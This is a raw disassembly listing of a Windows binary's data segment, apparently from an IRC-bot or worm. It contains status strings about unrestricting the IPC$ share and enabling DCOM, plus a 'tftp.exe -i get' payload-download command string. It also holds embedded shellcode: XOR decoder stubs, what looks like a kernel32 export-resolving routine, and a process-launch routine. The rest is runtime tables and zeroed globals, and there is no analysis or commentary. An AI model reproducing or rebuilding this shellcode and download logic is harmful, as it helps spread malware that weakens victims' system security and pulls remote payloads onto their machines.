		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437B10	db    2			; DATA XREF: sub_4149E0+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B60	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149E0:loc_414A4Do
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437B90	db    2			; DATA XREF: sub_4149E0+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_437BC8	dw 59h			; DATA XREF: sub_4149E0+38r
		align 4


loc_437BCC:				; DATA XREF: sub_414E8E+C4o
		jmp	short loc_437BD0
; ---------------------------------------------------------------------------


loc_437BCE:				; CODE XREF: seg002:loc_437BD0p
		jmp	short loc_437BD5
; ---------------------------------------------------------------------------


loc_437BD0:				; CODE XREF: seg002:loc_437BCCj
		call	loc_437BCE


loc_437BD5:				; CODE XREF: seg002:loc_437BCEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437BDA	dw 0FFFFh		; DATA XREF: sub_414E8E+CCw
		db 80h,	73h, 0Eh
byte_437BDF	db 0FFh			; DATA XREF: sub_414E8E+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_437BE4:				; DATA XREF: sub_414E8E+A2o
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437BE6:				; CODE XREF: seg002:loc_437BE8p
		jmp	short loc_437BED
; ---------------------------------------------------------------------------


loc_437BE8:				; CODE XREF: seg002:loc_437BE4j
		call	loc_437BE6


loc_437BED:				; CODE XREF: seg002:loc_437BE6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437BF1	db 0FFh			; DATA XREF: sub_414E8E+AAw
		dw 7380h
		db 0Ch
byte_437BF5	db 0FFh			; DATA XREF: sub_414E8E+B0w
		dw 0E243h
		dd 0F9h
dword_437BFC	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414D17+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C60	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414D17+79o
aJ_0		db 'j',0
		db 0E8h
dword_437C79	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437C80
		retn
; ---------------------------------------------------------------------------
byte_437C80	db 0E8h			; CODE XREF: seg002:00437C7Dj
dword_437C81	dd 1		byte_437C85	db 0, 6Ah, 0		; DATA XREF: sub_414D17+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437C8F	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415223+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415223+35o
dword_437D10	dd 1				align 10h
dword_437D20	dd 173Fh			dd 9875h, 9873h
off_437D2C	dd offset sub_415F3B	; DATA XREF: sub_4177FAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D38	dd 1B3Fh	dword_437D3C	dd 19930520h, 4	dup(0)					; sub_41643E+2o
off_437D50	dd offset sub_417838	; DATA XREF: sub_417BEE+1Cr
dword_437D54	dd 2							; sub_41CF19+46r ...
off_437D58	dd offset aNull_0	; DATA XREF: sub_417D4C:loc_4180B0r
					; sub_417D4C+457r
					; "(null)"
off_437D5C	dd offset aNull		; DATA XREF: sub_417D4C+259r
					; "(null)"
off_437D60	dd offset word_437D6A	; DATA XREF: sub_4159D4+23r
					; sub_4159D4:loc_415A35r ...
		dd offset word_437D6A
		db 2 dup(0)
word_437D6A	dw 20h			; DATA XREF: sub_41E6BD+18r
					; seg002:off_437D60o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F6C	dd 1							; sub_4159D4:loc_415A20r ...
byte_437F70	db 2Eh			; DATA XREF: sub_419F18:loc_419F58r
					; seg000:00419F76r ...
		align 4
		dd 1, 10h
dword_437F7C	dd 3F8h							; sub_4174DF+4Dr ...
dword_437F80	dd 14h		off_437F84	dd offset aExp		; DATA XREF: sub_419C61:loc_419C7Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438058	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+B7r
					; sub_41999C:loc_419A83r ...
		dd 0
		dd 0FFF80000h
dbl_438068	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+92r
					; sub_41999C:loc_419A5Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438080	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
					; sub_419E49+1Fr
		align 4
tbyte_43808C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
		align 4
off_438098	dd offset sub_41DEF9	; DATA XREF: sub_415F53+Fw
					; sub_417D4C+3AAr
off_43809C	dd offset sub_41DEF9	; DATA XREF: sub_415F53+5w
					; sub_417D4C+3E2r
off_4380A0	dd offset sub_41DEF9	; DATA XREF: sub_415F53+14w
					; sub_41AD3D+430r
off_4380A4	dd offset sub_41DEF9	; DATA XREF: sub_415F53+1Ew
					; sub_417D4C+3CBr
off_4380A8	dd offset sub_41DEF9	; DATA XREF: sub_415F53+28w
off_4380AC	dd offset sub_41DEF9	; DATA XREF: sub_415F53+32w
		dd offset sub_41DF02
		align 10h
		dd offset sub_41AB9C
off_4380C4	dd offset sub_41AB9C	; DATA XREF: sub_41ABF2+29r
dword_4380C8	dd 0D2D0920h, 5Dhdword_4380D0	dd 5Dh,	0	byte_4380D8	db 1			; DATA XREF: seg000:0041C0A1r
		db 2, 4, 8
		align 10h
dword_4380E0	dd 3A4h		dword_4380E4	dd 82798260h, 21h, 0dword_4380F0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381D0	dd 1							; sub_41C5D7+Co
dword_4381D4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438338	dd 0C0000005h						; sub_41C77F+Ar ...
dword_43833C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4383B0	dd 3							; sub_41F297+C8r
dword_4383B4	dd 7							; sub_41F297+CDr
dword_4383B8	dd 0Ah							; sub_41F3C4+4r
dword_4383BC	dd 8Ch							; sub_41C63E+8Fw ...
dword_4383C0	dd 0FFFFFFFFh, 0A00h					; sub_41B8B0:loc_41B931o
dword_4383C8	dd 2							; sub_41CF19+28r
off_4383CC	dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
					; sub_41CF19+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269E4h
		dd 0FFh, 421890h
off_438458	dd offset dword_469780	; DATA XREF: sub_41CF19+1Bo
					; sub_41D0D6+55o
		align 10h
		dd offset dword_469780
		dd 101h
dword_438468	dd 2 dup(0)			dd 1000h, 0
dword_438478	dd 3 dup(0)						; sub_4187B6+12o
		dd 2, 1, 3 dup(0)
dword_438498	dd 3 dup(0)						; sub_4187B6:loc_4187D4o
		dd 2 dup(2), 7 dup(0)
dword_4384C8	dd 84h dup(0)	dword_4386D8	dd 2694h						; sub_419651+46r ...
		align 10h
dword_4386E0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4386F8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438710	dd 7080h						; sub_41E162+5Ew ...
dword_438714	dd 1							; sub_41E162+8Bw ...
dword_438718	dd 0FFFFF1F0h						; sub_41E162+94w ...
dword_43871C	dd 545350h, 0Fh	dup(0)dword_43875C	dd 544450h, 0Fh	dup(0)off_43879C	dd offset dword_43871C	; DATA XREF: sub_41E162+BAr
					; sub_41E162+D9r ...
off_4387A0	dd offset dword_43875C	; DATA XREF: sub_41E162+F4r
					; sub_41E162+11Br ...
		align 8
dword_4387A8	dd 0FFFFFFFFh						; sub_41E3C0+1Er ...
dword_4387AC	dd 0							; sub_41E56C+BFw
dword_4387B0	dd 0							; sub_41E56C+E0w
		align 8
dword_4387B8	dd 0FFFFFFFFh						; sub_41E3C0+26r ...
dword_4387BC	dd 0							; sub_41E56C+EAw ...
dword_4387C0	dd 0							; sub_41E56C+23r ...
dword_4387C4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4387F4	dd 16Dh							; sub_41E56C+2Er ...
dword_4387F8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438830	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_438990	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F71C+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438AF0	dd offset off_421CB4	; DATA XREF: seg001:off_421CD8o
					; seg001:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438B08	dd offset off_421CB4	; DATA XREF: seg001:off_421CF0o
					; seg001:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B28	dd offset off_421CB4	; DATA XREF: seg001:off_421D08o
					; seg001:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B48	dd offset off_421CB4	; DATA XREF: seg001:off_421D90o
					; seg001:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B68	dd offset off_421CB4	; DATA XREF: seg001:off_421E10o
					; seg001:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DF02
		dd 109h	dup(0)
dword_438FA8	dd 0		byte_438FAC	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438FB0	dd 0							; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438FBC	dd 2 dup(0)	dword_438FC4	dd 0							; seg000:004129C8o ...
dword_438FC8	dd 0							; sub_405A0C+51r ...
dword_438FCC	dd 0							; seg000:0040494Cr ...
		dd 2 dup(0)
dword_438FD8	dd 0							; sub_407652+92w ...
dword_438FDC	dd 0							; sub_40778B+2EDw ...
		dd 256h	dup(0)
dword_439938	dd 6 dup(0)						; sub_40778B+138o ...
dword_439950	dd 0							; seg000:00407378o
dword_439954	dd 41h dup(0)	dword_439A58	dd 41h dup(0)	dword_439B5C	dd 0							; seg000:0040738Ar
dword_439B60	dd 0		dword_439B64	dd 0							; seg000:00407345r
dword_439B68	dd 20h dup(0)						; seg000:00407330o
dword_439BE8	dd 0		dword_439BEC	dd 0							; seg000:0040733Dw
dword_439BF0	dd 0				align 8
dword_439BF8	dd 0							; seg000:004075A4o
dword_439BFC	dd 0A2h	dup(0)	dword_439E84	dd 41h dup(0)	dword_439F88	dd 0							; seg000:00407557r
		align 10h
dword_439F90	dd 0							; seg000:004075B6r
dword_439F94	dd 0		dword_439F98	dd 0		dword_439F9C	dd 0				dd 0
dword_439FA4	dd 0		dword_439FA8	dd 0							; seg000:00407497o
dword_439FAC	dd 41h dup(0)	dword_43A0B0	dd 41h dup(0)	dword_43A1B4	dd 0							; seg000:004074A9r
dword_43A1B8	dd 0		dword_43A1BC	dd 0		dword_43A1C0	dd 20h dup(0)						; seg000:0040744Fo
dword_43A240	dd 0		dword_43A244	dd 0							; seg000:loc_40745Cw
dword_43A248	dd 0				align 10h
dword_43A250	dd 0							; sub_4089F2+4CDr
dword_43A254	dd 0							; sub_413DD4+F5r
dword_43A258	dd 0							; sub_4089F2+862r ...
dword_43A25C	dd 0							; sub_4089F2+A18r ...
dword_43A260	dd 0							; sub_4089F2+9E8r ...
dword_43A264	dd 0							; sub_4089F2+4BDr
dword_43A268	dd 0							; seg000:00402304r ...
dword_43A26C	dd 0							; sub_4089F2+A10r ...
dword_43A270	dd 0							; sub_4089F2+3A9r ...
dword_43A274	dd 0							; sub_40AAD1+11Er
dword_43A278	dd 0							; sub_4089F2+3B1r ...
dword_43A27C	dd 0							; sub_4133C2+ADr
dword_43A280	dd 0							; seg000:00408550r ...
dword_43A284	dd 0							; sub_4089F2+D2r ...
dword_43A288	dd 0							; sub_4089F2+9DBr ...
dword_43A28C	dd 0							; sub_4089F2+3C9r ...
dword_43A290	dd 0							; sub_4089F2+88Er ...
dword_43A294	dd 0							; sub_4089F2+2A5w ...
dword_43A298	dd 0							; sub_4089F2+886r ...
dword_43A29C	dd 0		dword_43A2A0	dd 0							; sub_4089F2+896r ...
dword_43A2A4	dd 0							; sub_4089F2+52Fw ...
dword_43A2A8	dd 0							; sub_4089F2+CAr ...
dword_43A2AC	dd 0							; seg000:0040A331r
dword_43A2B0	dd 0							; sub_4089F2+A6Dr ...
dword_43A2B4	dd 0							; sub_4089F2+F2r
dword_43A2B8	dd 0							; sub_4089F2+4B5r
dword_43A2BC	dd 0							; sub_4089F2+5D8w ...
dword_43A2C0	dd 0							; sub_4089F2+A08r
dword_43A2C4	dd 0							; sub_4089F2+736r ...
dword_43A2C8	dd 0							; sub_4089F2+B21w
dword_43A2CC	dd 0							; sub_4089F2+84Fr
dword_43A2D0	dd 0							; sub_409DF3+15r
dword_43A2D4	dd 0							; sub_4089F2+9F0r ...
dword_43A2D8	dd 0							; sub_4089F2+3B9r ...
dword_43A2DC	dd 0							; sub_4089F2+3C1r ...
dword_43A2E0	dd 0							; sub_4089F2+C5Dr
dword_43A2E4	dd 0		dword_43A2E8	dd 0							; seg000:loc_401B70r ...
dword_43A2EC	dd 0		dword_43A2F0	dd 0							; sub_4089F2+A20r ...
dword_43A2F4	dd 0							; sub_4089F2+2DEr ...
dword_43A2F8	dd 0							; sub_4089F2+DAr ...
dword_43A2FC	dd 0							; sub_4089F2+B75r ...
dword_43A300	dd 0							; seg000:004018F9r ...
dword_43A304	dd 0							; sub_4089F2+872r ...
dword_43A308	dd 0							; sub_4089F2+9F8r
dword_43A30C	dd 0							; sub_404F08+8Cr ...
dword_43A310	dd 0							; seg000:0040225Er ...
dword_43A314	dd 0							; sub_4089F2+910r ...
dword_43A318	dd 0		dword_43A31C	dd 0							; seg000:00401483r ...
dword_43A320	dd 0							; sub_4089F2+855r
dword_43A324	dd 0							; seg000:00402273r ...
dword_43A328	dd 0							; sub_4089F2+1C2r
dword_43A32C	dd 0							; sub_4089F2+786r ...
dword_43A330	dd 0							; sub_4036EB+5Er ...
dword_43A334	dd 0							; sub_4089F2+6BEr
dword_43A338	dd 0							; sub_4089F2:loc_4092CDw ...
dword_43A33C	dd 0							; sub_4089F2+2C6r ...
dword_43A340	dd 0							; sub_4089F2+681w ...
dword_43A344	dd 0							; sub_4089F2+323r ...
dword_43A348	dd 0							; sub_4089F2+3D1r ...
dword_43A34C	dd 0							; sub_404F08+1C6r ...
dword_43A350	dd 0							; sub_4089F2+86Ar ...
dword_43A354	dd 0							; sub_4089F2+206w ...
dword_43A358	dd 0							; sub_4089F2+1D2r ...
dword_43A35C	dd 0							; sub_4089F2+87Ar ...
dword_43A360	dd 0							; sub_4089F2+606w ...
dword_43A364	dd 0							; sub_4089F2+2BFw ...
dword_43A368	dd 0							; seg000:004014F1r ...
dword_43A36C	dd 0							; sub_4089F2+316r ...
dword_43A370	dd 0							; seg000:00406E3Ar ...
dword_43A374	dd 0							; sub_4089F2+490r
dword_43A378	dd 0							; sub_4089F2+1DAr ...
dword_43A37C	dd 0							; sub_4089F2+39Cr ...
dword_43A380	dd 0		dword_43A384	dd 0							; seg000:004012ABr ...
dword_43A388	dd 0							; seg000:0040114Fr ...
dword_43A38C	dd 0							; sub_4089F2+C2r ...
dword_43A390	dd 0							; sub_4089F2+4ADr
dword_43A394	dd 0							; sub_4089F2+1BAr ...
dword_43A398	dd 0							; sub_413CAB+72r
dword_43A39C	dd 0							; sub_4089F2+78Er
dword_43A3A0	dd 0							; sub_4033CB+263r ...
dword_43A3A4	dd 0							; sub_404F08+245r ...
dword_43A3A8	dd 0							; sub_4089F2+BAr ...
dword_43A3AC	dd 0							; sub_4089F2+2CEr ...
dword_43A3B0	dd 0							; sub_407BFE+9Cr ...
dword_43A3B4	dd 0							; seg000:00406D42r ...
dword_43A3B8	dd 0		dword_43A3BC	dd 0							; sub_40AE4B+205r ...
dword_43A3C0	dd 0		dword_43A3C4	dd 0							; sub_4089F2+BB8w ...
dword_43A3C8	dd 0							; seg000:00401DB4r ...
dword_43A3CC	dd 0							; sub_4089F2+49Dr
dword_43A3D0	dd 0							; sub_4089F2+4C5r
dword_43A3D4	dd 0							; sub_4089F2+4A5r
dword_43A3D8	dd 0							; sub_4033CB+249r ...
dword_43A3DC	dd 0							; sub_4089F2+1E2r ...
dword_43A3E0	dd 0							; sub_4089F2+A28r ...
dword_43A3E4	dd 0							; sub_4089F2+1ADr ...
dword_43A3E8	dd 0							; sub_4089F2+E2r ...
dword_43A3EC	dd 0							; seg000:00401B08r ...
dword_43A3F0	dd 0							; sub_4089F2+B30r
dword_43A3F4	dd 0							; sub_413D69+55r
dword_43A3F8	dd 0							; sub_4089F2+27Ew ...
dword_43A3FC	dd 0		dword_43A400	dd 0							; sub_40A093+CEr
dword_43A404	dd 0							; sub_4089F2+AB7r ...
dword_43A408	dd 0							; seg000:00401C2Br ...
dword_43A40C	dd 0							; sub_4089F2+674w ...
dword_43A410	dd 0							; sub_4089F2+BC5w ...
dword_43A414	dd 0							; sub_4071FF+1Fr ...
dword_43A418	dd 0							; sub_4089F2+A00r ...
dword_43A41C	dd 0							; sub_407BFE+B3r ...
dword_43A420	dd 0							; seg000:00401B69r ...
dword_43A424	dd 0							; sub_405B23+39Fr ...
dword_43A428	dd 0							; sub_402FDD+C8r ...
dword_43A42C	dd 0							; seg000:00401919r ...
dword_43A430	dd 0							; sub_4089F2+B1Br
dword_43A434	dd 0							; sub_4089F2+ADr ...
dword_43A438	dd 0							; sub_4089F2+1CAr
		align 10h
dword_43A440	dd 0							; sub_4089F2+91Dr ...
dword_43A444	dd 0							; sub_4089F2+EAr ...
dword_43A448	dd 0							; sub_4089F2+12Bw ...
dword_43A44C	dd 0							; sub_40967F+1Cr
dword_43A450	dd 0							; sub_4089F2:loc_408C47w ...
dword_43A454	dd 0							; sub_40967F+50r
dword_43A458	dd 0							; sub_4089F2:loc_408D21w ...
dword_43A45C	dd 0							; sub_40967F+84r
dword_43A460	dd 0							; sub_40967F:loc_40972Fr
dword_43A464	dd 0							; sub_40967F+B8r
dword_43A468	dd 0							; sub_40967F:loc_409763r
dword_43A46C	dd 0							; sub_40967F+ECr
dword_43A470	dd 0							; sub_4089F2+8D1w ...
dword_43A474	dd 0							; sub_40967F+120r
dword_43A478	dd 0							; sub_40967F:loc_4097CBr ...
dword_43A47C	dd 0							; sub_40967F+154r
dword_43A480	dd 0							; sub_40967F:loc_4097FFr ...
dword_43A484	dd 0							; sub_40967F+188r
dword_43A488	dd 0							; sub_40967F:loc_409833r
dword_43A48C	dd 0							; sub_40967F+1BCr
dword_43A490	dd 0							; sub_40967F:loc_409867r
dword_43A494	dd 0							; sub_40967F+1F0r
dword_43A498	dd 0							; sub_40967F:loc_40989Br
dword_43A49C	dd 0							; sub_40967F+224r
dword_43A4A0	dd 0							; sub_40967F:loc_4098CFr
dword_43A4A4	dd 0							; sub_40967F+258r
dword_43A4A8	dd 0							; sub_40967F:loc_409903r
dword_43A4AC	dd 0							; sub_40967F+28Cr
dword_43A4B0	dd 0							; sub_40967F:loc_409937r
dword_43A4B4	dd 0							; sub_40967F+2C0r
		dd 81h dup(0)
dword_43A6BC	dd 5 dup(0)	dword_43A6D0	dd 0							; sub_40A7FD+123w
dword_43A6D4	dd 0							; seg000:0040A6DFr ...
dword_43A6D8	dd 0							; sub_40A7FD+83o
dword_43A6DC	dd 0							; sub_40A7FD+11Bw
dword_43A6E0	dd 0Dh dup(0)						; sub_40A7FD:loc_40A93Ao
dword_43A714	dd 0				dd 0
dword_43A71C	dd 0Eh dup(0)	dword_43A754	dd 1000h dup(0)						; sub_40B20Do ...
dword_43E754	dd 0							; sub_40B20D+Eo ...
dword_43E758	dd 10h dup(0)	dword_43E798	dd 0							; sub_40B075+44r ...
		dd 5 dup(0)
dword_43E7B0	dd 0							; seg000:0040DA1Dr
		dd 2D9h	dup(0)
dword_43F318	dd 0							; sub_40B075+2Do ...
		dd 7Fh dup(0)
dword_43F518	dd 0							; sub_4150D0+40w ...
dword_43F51C	dd 0							; sub_40778B:loc_4077D2r ...
dword_43F520	dd 0							; sub_414F95+52w ...
dword_43F524	dd 0							; seg000:00406D10w ...
dword_43F528	dd 0							; seg000:00407FC0r ...
dword_43F52C	dd 0							; seg000:00407398w ...
byte_43F530	db 0			; DATA XREF: sub_40CB75+91o
					; seg000:0041007Er ...
		align 4
		dd 1887h dup(0)
dword_445750	dd 8C2Eh dup(0)	dword_468808	dd 0							; sub_40C682+47w ...
		dd 22h dup(0)
dword_468894	dd 3Ah dup(0)	dword_46897C	dd 0							; seg000:0040D0CBr
byte_468980	db 0			; DATA XREF: sub_40CCDD+28r
					; sub_40CCDD+30o
		align 4
dword_468984	dd 0		dword_468988	dd 0		dword_46898C	dd 0		dword_468990	dd 17h dup(0)						; sub_412F12+131o ...
dword_4689EC	dd 7 dup(0)						; sub_413CAB+A5o
dword_468A08	dd 0							; sub_4151FC+19o
dword_468A0C	dd 78h dup(0)	dword_468BEC	dd 0							; sub_41328C+4Dr ...
dword_468BF0	dd 17h dup(0)						; sub_413B77+12Do
dword_468C4C	dd 80h dup(0)						; sub_4131CD+7Do ...
byte_468E4C	db 0			; DATA XREF: sub_41328C+29r
					; sub_41328C+34w
		align 10h
dword_468E50	dd 80h dup(0)						; sub_4134E3+88o ...
dword_469050	dd 81h dup(0)						; sub_412DE9+50o ...
